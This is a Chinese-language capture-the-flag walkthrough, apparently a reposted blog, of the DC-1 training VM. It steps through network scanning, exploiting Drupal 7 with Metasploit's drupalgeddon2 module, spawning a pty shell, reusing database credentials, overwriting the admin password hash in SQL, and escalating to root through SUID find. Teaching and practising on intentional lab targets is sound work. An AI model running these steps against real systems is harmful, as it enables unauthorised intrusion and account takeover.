靶场练习 手把手教你通关DC系列 DC1

news2025/1/15 11:16:11

DC1靶场通关教程


文章目录

  • DC1靶场通关教程
  • 前言
  • 一、信息收集
    • 1.主机存活
    • 2.端口收集
    • 3.网页信息收集
    • 4.目录收集
      • 4.1 Nikto
      • 4.2 Dirb
    • 信息收集总结
  • 二、漏洞发现与利用
    • 1. 发现
    • 2. 利用
  • 三、Flag
    • Flag1
    • Flag2
    • Flag3
    • Flag4
    • Flag5(提权)


前言

在这里插入图片描述

本次使用的kali机的IP地址为192.168.243.131
DC1的地址为192.168.243.134


一、信息收集

1.主机存活

在这里插入图片描述

arp-scan -l 此命令是探测主机存活 sudo命令是令kali用户短暂拥有root用户权限,需要输入kali的密码
其中192.168.243.128是kali的IP地址,192.168.243.134是靶场的IP地址

2.端口收集

在这里插入图片描述

nmap -T4 -v 192.168.243.134该命令探测靶场开发的端口信息,可以看到其中开发端口有22、80、111

3.网页信息收集

在这里插入图片描述

火狐浏览器有Wappalyzer插件可以看框架、中间件、语言等功能

4.目录收集

这里使用两种查询方式

4.1 Nikto

在这里插入图片描述

nikto -h http://192.168.243.134

4.2 Dirb

在这里插入图片描述

dirb http://192.168.243.134

目录收集没有收集到可用信息,可以跳过这一步

信息收集总结

靶场IP地址为: 192.168.243.134
开放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中间件: Apache 2.2.22
语言: php 5.4.45
操作系统: Debian

二、漏洞发现与利用

思路 通过信息收集到的内容去搜索网络已知漏洞

1. 发现

kali加载msf攻击载荷

在这里插入图片描述

search drupal搜索Drupal可以利用的漏洞

在这里插入图片描述

2. 利用

这里使用exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

show options 查看需要配置的文件

在这里插入图片描述

Requiredyes为必须配置项,RHOSTS 为靶场的IP地址
set rhosts 192.168.243.134 添加目标地址

在这里插入图片描述

使用run运行,然后shell

在这里插入图片描述

python -c "import pty;pty.spawn('/bin/bash')" 为交互语句,方便使用

在这里插入图片描述

三、Flag

Flag1

查看当前文件夹的所有内容 ls -la

在这里插入图片描述

可以看到有一个flag1.txt文件
cat flag1.txt打开flag1.txt文件

在这里插入图片描述

Every good CMS needs a config file - and so do you. //每个好的CMS都需要一个配置文件——您也一样。

Flag2

flag1提示我们去找配置文件
find / -name settings.php

在这里插入图片描述

查看这个文件
cat /var/www/sites/default/settings.php

在这里插入图片描述

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the //暴力破解和字典攻击不是
 * only ways to gain access (and you WILL need access). //只有获得访问权限的方法(你将需要访问权限)。
 * What can you do with these credentials? //你能用这些证书做什么?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Flag3

flag2给出了数据库的账户和密码,我们可以直接登录查看
mysql -udbuser -pR0ck3t

在这里插入图片描述

查询数据库
show databases;

在这里插入图片描述

直接使用第二个表
use drupalbd;

在这里插入图片描述

查询库中的表
show tables;

在这里插入图片描述

在这里插入图片描述

我们查看users表中的内容

在这里插入图片描述

可以看到表中的内容是adminFred账户密码
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
这个加密方式为hash(哈希),解密难度过大,我们可以通过password-hash.sh文件生成一个新密码
使用find命令查找文件

在这里插入图片描述

使用cat命令查看源码
cat /var/www/scripts/password-hash.sh

<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

php /var/www/scripts/password-hash.sh 123456
因为这是php文件,所以我们需要使用php

在这里插入图片描述

password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登录数据库,将生成的哈希值写入到数据库的users表中,替换adminFred的密码
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";

在这里插入图片描述在这里插入图片描述

使用刚刚更改的数据进行登录

在这里插入图片描述
在这里插入图片描述

找到fflag3文件

在这里插入图片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

Flag4

根据flag3的提示让我们去看/etc/passwd文件

在这里插入图片描述

可以看到一个flag4,我们去到flag4目录

在这里插入图片描述

查看flag4.txt

在这里插入图片描述

Can you use this same method to find or access the flag in root?//您可以使用相同的方法来查找或访问根中的标志吗?
Probably. But perhaps it's not that easy.  Or maybe it is?//可能。但也许没那么容易。也许是这样

Flag5(提权)

根据flag4的提示,我们尝试去root目录

在这里插入图片描述

发现被拒绝访问了,查找一下当前用户可执行的文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有find,直接用find提权
find / -exec "/bin/bash" -p \;

在这里插入图片描述

现在去root目录

在这里插入图片描述

查看thefinalflag.txt文件
cat thefinalflag.txt

在这里插入图片描述

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜欢这篇文章,并学到了一些新技能。
//你可以通过推特@DCAU7联系我,让我知道你对这次小旅行的看法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1911205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

25.无源蜂鸣器驱动设计

相对于有源蜂鸣器&#xff0c;无源蜂鸣器的成本更低&#xff0c;声音频率可控。而有源蜂鸣器因其内部 自带振荡源&#xff0c;只要加上适当的直流电源即可发声&#xff0c;程序控制较为方便。 &#xff08;1&#xff09;设计定义&#xff1a;设计一个无源蜂鸣器的驱动程序&…

电脑管理软件是什么?电脑管理软件能做什么?

电脑管理软件是一种专门设计用于管理和优化计算机系统的软件工具。它涵盖了多个方面&#xff0c;从系统维护、资源分配到安全防护&#xff0c;都有着广泛的应用。以下是对电脑管理软件及其功能的详细解析&#xff1a; 一、电脑管理软件的定义 电脑管理软件是一种管理类型的软…

【Ty CLI】一个开箱即用的前端脚手架

目录 资源链接基础命令模板创建命令帮助选择模板开始创建开发模板 开发背景npm 发布流程问题记录模板创建超时 更新日志 资源链接 文档&#xff1a;https://ty.cli.vrteam.top/ 源码&#xff1a;https://github.com/bosombaby/ty-cli 基础命令 1. npm 全局安装 npm i ty-cli…

【YOLOv8系列】(一)YOLOv8介绍:实时目标检测的最新突破

目录 引言 背景与发展历程 YOLOv8架构设计 1. 改进的特征提取网络 2. 多尺度特征融合 3. 新的激活函数 4. Attention机制 模型训练与优化 性能评估 应用案例 目标检测 图像分割 图像分类 姿势估计 旋转框检测&#xff08;OBB&#xff09; 优势与挑战 优势&…

点云曲面提取

csdn是不是有有什么大bing&#xff1f;gif只能上传5m我吐了在线GIF动图压缩 - docsmall 在线GIF动图压缩工具,在线GIF动图压缩软件 代码整理中

无线充电宝哪个牌子好?绿联、西圣、小米充电宝测评对比!

随着科技的不断进步和智能设备的普及&#xff0c;无线充电宝逐渐成为了现代人生活中的必需品。它们不仅方便了我们的日常充电需求&#xff0c;更减少了线缆的束缚&#xff0c;提高了使用的便捷性。在众多品牌中&#xff0c;绿联、西圣和小米作为市场上广受好评的无线充电宝品牌…

HTML5表单的自动验证、取消验证、自定义错误信息

1、自动验证 通过在元素中使用属性的方法&#xff0c;该属性可以实现在表单提交时执行自动验证的功能。下面是关于对元素内输入内容进行限制的属性的指定。 属性说明required输入内容是否不为空pattern输入的内容是否符合指定格式min、max输入的数值是否在min~max范围step判断…

C++之List模拟实现

目录 list的逻辑结构 构造函数 拷贝构造函数 赋值运算符重载 返回迭代器的初始位置 返回迭代器的最终位置 元素的插入 头插 尾插 删除元素 头删 尾删 清空整个链表 析构函数 正向迭代器 反向迭代器 整体代码 上期我们学写了list的基本操作&#xff0c;本期我…

使用F1C200S从零制作掌机之构建debian文件系统

前情&#xff1a;使用buildrootfs构建的文件系统调试了很久NES模拟器&#xff0c;执行InfoNES模拟器的时候一直黑屏&#xff0c;无内容显示&#xff0c;调不通了&#xff0c;所以改用debian系统试试。 一、环境配置 首先下载两个工具&#xff1a;qemu-arm-static和debootstra…

SpringSecurity-SpirngBoot-方法级授权(SpringSecurity6.3新特性)(四)

SpringSecurity-SpirngBoot-方法级授权&#xff08;SpringSecurity6.3新特性&#xff09;&#xff08;四&#xff09; 本章使用SpringSecurity6.3新特性实现数据级别的鉴权&#xff0c;主要的目的是实现不同权限的用户查询同一个方法&#xff0c;限制一些内容只能拥有特定权限…

StarRocks分布式元数据源码解析

1. 支持元数据表 https://github.com/StarRocks/starrocks/pull/44276/files 核心类&#xff1a;LogicalIcebergMetadataTable&#xff0c;Iceberg元数据表&#xff0c;将元数据的各个字段做成表的列&#xff0c;后期可以通过sql操作从元数据获取字段&#xff0c;这个表的组成…

Linux--线程的控制

目录 0.前言 1.pthread库 2.关于控制线程的接口 2.1.创建线程&#xff08;pthread_create&#xff09; 2.2.线程等待&#xff08;pthread_join&#xff09; 代码示例1&#xff1a; ​编辑 ***一些问题*** 2. 3.创建多线程 3.线程的终止 &#xff08;pthread_exit /…

python—读写csv文件

目录 csv库方法参数 读取数据 csv.reader方法 文件指定行或列数据读取操作 txt文件的readlines、read方法 csv.DictReader方法 写入数据 txt文件的write&#xff0c;writelines csv.writer方法 csv.DictWriter方法 读写联合(修改及插入数据) 读写csv 文件时&#xf…

语义言语流畅性的功能连接和有效连接

摘要 语义言语流畅性(SVF)受损在多种神经系统疾病中都存在。虽然已经报道了SVF相关区域的激活情况&#xff0c;但这些区域如何相互连接以及它们在脑网络中的功能作用仍存在分歧。本研究使用功能磁共振成像评估了健康被试SVF静态和动态功能连接(FC)以及有效连接。观察到额下回(…

c++初阶学习----入门(上)

大家好啊。最近学习了一点关于c的知识。这不就迫不及待的来与大家分享了嘛。但我这也是现学现卖所以咧。有很多遗落甚至不对的地方希望大家可以在评论区里面指出来。这样也可以增加大家对知识的巩固。 c语言与c的联系 不知道大家看到c会不会不由自主的联想到C语言啊。毕竟都是…

TVBox的Json配置接口编写指南,模板格式说明(如何打造一个专属于自己的TVBox配置文件)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 配置解析 📒📝 JSON基础📝 配置文件结构/参数说明📝 编写步骤📝 注意事项🎈 接口分享⚓️ 相关链接 ⚓️📖 介绍 📖 TVBox 是一款备受欢迎的电视盒子应用(免费影视必备),它以其高度自定义的特性深受用户喜爱…

Pearson 相关系数的可视化辅助判断和怎么用

Pearson 相关系数的可视化辅助判断和怎么用 flyfish Pearson 相关系数 是一种用于衡量两个连续型变量之间线性相关程度的统计量。其定义为两个变量协方差与标准差的乘积的比值。公式如下&#xff1a; r ∑ ( x i − x ˉ ) ( y i − y ˉ ) ∑ ( x i − x ˉ ) 2 ∑ ( y i −…

jitsi 使用JWT验证用户身份

前言 Jitsi Meet是一个很棒的会议系统,但是默认他运行所有人创建会议,这样在某种程度上,我们会觉得他不安全,下面我们就来介绍下使用JWT来验证用户身份 方案 卸载旧的lua依赖性sudo apt-get purge lua5.1 liblua5.1-0 liblua5.1-dev luarocks添加ubuntu的依赖源,有则不需…

AI时代算法面试:揭秘高频算法问题与解答策略

三种决策树算法的特点和区别 ID3算法&#xff1a;基本的决策树算法&#xff0c;适用于简单的分类问题C4.5算法&#xff1a;改进了ID3算法&#xff0c;适用于更复杂的分类问题&#xff0c;可以处理连续型数据和缺失值CART算法&#xff1a;更加通用的决策树算法&#xff0c;适用于…

住宅代理、移动代理和数据中心代理之间的区别

如果您是一名认真的互联网用户&#xff0c;可能需要反复访问某个网站或服务器&#xff0c;可能是为了数据抓取、价格比较、SEO 监控等用例&#xff0c;而不会被 IP 列入黑名单或被 CAPTCHA 阻止。 代理的工作原理是将所有传出数据发送到代理服务器&#xff0c;然后代理服务器将…